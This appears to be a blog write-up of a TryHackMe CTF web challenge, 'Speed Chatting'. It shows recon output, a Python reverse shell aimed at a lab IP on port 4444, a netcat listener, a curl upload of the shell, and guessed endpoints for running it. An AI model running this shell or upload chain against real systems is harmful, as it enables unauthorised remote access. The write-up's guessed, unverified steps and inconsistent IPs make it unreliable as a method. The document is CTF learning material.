Skip to main content

Command Palette

Search for a command to run...

Speed Chatting🎉🚩 - Unrestricted File Upload RCE (LFI)

Published
•4 min read
Speed Chatting🎉🚩 - Unrestricted File Upload RCE (LFI)
J

Software Developer | Learning Cybersecurity | Open for roles *

If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Description

Speed Chatting is an AI Security Challenge that was part of the Love at First Breach 2026, red team beginner’s CTF. It covers prompt injection and system configuration vulnerabilities in AI agents, a growing concern in modern cybersecurity.

My Dearest Hacker,

Days before Valentine's Day, TryHeartMe rushed out a new messaging platform called "Speed Chatter", promising instant connections and private conversations. But in the race to beat the holiday deadline, security took a back seat. Rumours are circulating that "Speed Chatter" was pushed to production without proper testing.

As a security researcher, it's your task to break into "Speed Chatter", uncover flaws, and expose TryHeartMe's negligence before the damage becomes irreversible.

You can find the web application here: http://MACHINE_IP:5000

curl -i http://<IP_Address>:5000
HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.10.12
Date: Fri, 13 Feb 2026 19:19:24 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12990
Connection: close


<!DOCTYPE html>
<html>
<head>
    <title>LoveConnect - Speed Chatter</title>
    <meta charset="UTF-8">
    
</head>
<body>
    <div class='container'>
        <h1>LoveConnect</h1>
        <p class='tagline'>Speed Chat - Find Your Valentine!</p>

        <div class='main-grid'>
            <!-- Profile Section -->
            <div class='profile-card'>
                <h3>Your Profile</h3>
                
                
                
                <img src='/uploads/profile_d660722c-3f92-43e1-a4dd-c6a80ba5075b.php' class='profile-pic' alt='Profile Picture' 
                     onerror="this.src='data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22 width=%22150%22 height=%22150%22%3E%3Ccircle cx=%2275%22 cy=%2275%22 r=%2275%22 fill=%22%23f48fb1%22/%3E%3Ctext x=%2250%25%22 y=%2250%25%22 text-anchor=%22middle%22 dy=%22.3em%22 fill=%22white%22 font-size=%2250%22%3E\u2764\ufe0f%3C/text%3E%3C/svg%3E'">
                
                <div class='username'>demo</div>
                <div class='bio'>Looking for love!</div>
                
                <div class='upload-section'>
                    <h4>Update Photo</h4>
                    <form action='/upload_profile_pic' method='post' enctype='multipart/form-data' id='uploadForm'>
                        <label for='fileInput' class='file-label'>
                            Choose File
                        </label>
                        <input type='file' id='fileInput' name='profile_pic' required>
                        <div class='file-name' id='fileName'>No file selected</div>
                        <button type='submit'>Upload</button>
                    </form>
                </div>
            </div>

            <!-- Chat Section -->
            <div class='chat-card'>
                <h3>Speed Chat Room</h3>
                
                <div class='chat-container' id='chatContainer'>
                    <!-- Messages loaded here -->
                </div>
                
                <div class='chat-input-container'>
                    <input type='text' id='chatInput' placeholder='Type your message...' maxlength='200'>
                    <button id='sendBtn'>Send</button>
                </div>
            </div>
        </div>
    </div>

    <script>
        // File upload
        document.getElementById('fileInput').addEventListener('change', function(e) {
            const fileName = e.target.files[0]?.name || 'No file selected';
            document.getElementById('fileName').textContent = fileName;
        });
        
        document.getElementById('uploadForm').addEventListener('submit', function(e) {
            const button = this.querySelector('button');
            button.textContent = 'Uploading...';
            button.disabled = true;
        });

        // Chat functionality
        const chatContainer = document.getElementById('chatContainer');
        const chatInput = document.getElementById('chatInput');
        const sendBtn = document.getElementById('sendBtn');

        function loadMessages() {
            fetch('/api/messages')
                .then(r => r.json())
                .then(messages => {
                    chatContainer.innerHTML = '';
                    messages.forEach(msg => {
                        const div = document.createElement('div');
                        div.className = 'message' + (msg.user === 'demo' ? ' demo' : '');
                        
                        // Create text nodes to prevent any HTML rendering
                        const userDiv = document.createElement('div');
                        userDiv.className = 'message-user';
                        userDiv.textContent = msg.user;
                        
                        const textDiv = document.createElement('div');
                        textDiv.className = 'message-text';
                        textDiv.textContent = msg.text;
                        
                        const timeDiv = document.createElement('div');
                        timeDiv.className = 'message-time';
                        timeDiv.textContent = msg.time;
                        
                        div.appendChild(userDiv);
                        div.appendChild(textDiv);
                        div.appendChild(timeDiv);
                        
                        chatContainer.appendChild(div);
                    });
                    chatContainer.scrollTop = chatContainer.scrollHeight;
                });
        }

        function sendMessage() {
            const text = chatInput.value.trim();
            if (!text) return;

            fetch('/api/send_message', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({text: text})
            })
            .then(r => r.json())
            .then(data => {
                if (data.success) {
                    chatInput.value = '';
                    loadMessages();
                }
            });
        }

        sendBtn.addEventListener('click', sendMessage);
        chatInput.addEventListener('keypress', function(e) {
            if (e.key === 'Enter') {
                sendMessage();
            }
        });

        // Load messages on page load and refresh every 3 seconds
        loadMessages();
        setInterval(loadMessages, 3000);
    </script>
</body>
</html>

nmap -sV -p- <IP_Address>

nmap -sV -p- <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-13 19:29 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00014s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
5000/tcp open  upnp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=2/13%Time=698F7B86%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,23A6,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.1\.5\x2
SF:0Python/3\.10\.12\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x2019:29:09\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x2012990\r\nConnection:\x20close\r\n\r\n\n<!DOCTYPE\x20html>\n<html>\n<
SF:head>\n\x20\x20\x20\x20<title>LoveConnect\x20-\x20Speed\x20Chatter</tit
SF:le>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<styl
SF:e>\n\x20\x20\x20\x20\x20\x20\x20\x20@import\x20url\('https://fonts\.goo
SF:gleapis\.com/css2\?family=Pacifico&family=Quicksand:wght@400;600&displa
SF:y=swap'\);\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\*\x20{\x20margin:\x200;\x20padding:\x200;\x20box-sizing:\x20bor
SF:der-box;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20body\x20{\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20font-family:\x20'Quicksand',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20background:\x20linear-gradient\(135deg,\x20#ff6
SF:b9d\x200%,\x20#c06c84\x2050%,\x20#f67280\x20100%\);\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20min-height:\x20100vh;\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20padding:\x2020px;\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\.heart-bg\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20position:\x20fixed;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:top:\x20-10%;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20left:\x2
SF:00;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x20120%;\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20overflow:\x20hidden;\n\x20\x2
SF:0\x20\x20\x20")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//
SF:W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http
SF:://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\
SF:x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x
SF:20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\
SF:('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\
SF:x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20request\x20sy
SF:ntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</h
SF:tml>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.55 seconds

gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,py

Python Reverse Shell

# Simple Python reverse shell
cat > shell.py << 'EOF'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.81.110.234",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
EOF
  • Replace YOUR_ATTACKER_IP with your AttackBox IP.

Start a listener:

nc -lvnp 4444

Upload the Python file

  • using curl:
curl -X POST http://10.81.134.199:5000/upload_profile_pic \ -F "profile_pic=@shell.py"

Now find how to execute it:

Try these endpoints:

# Direct execution endpoints
curl "http://10.49.153.64:5000/run?file=shell.py"
curl "http://10.49.153.64:5000/execute?script=shell.py"
curl "http://10.49.153.64:5000/api/run"

# Or check for an import/include mechanism
curl "http://10.49.153.64:5000/?import=uploads/shell"

Love at First Breach 2026 CTF

Part 6 of 7

Love at First Breach 2026 by TryHackMe is a beginner-friendly, live red-teaming CTF designed to help you fall in love with breaking things... safely. Hosted between 13 - 16 Feb 2026.

Up next

TryHeartMe (TryHackMe CTF Writeup)

TryHeartMe is an e-commerce/web exploitation Challenge that was part of the Love at First Breach 2026, red team beginner’s CTF. It covers JWT token manipulation using the "none" algorithm attack to by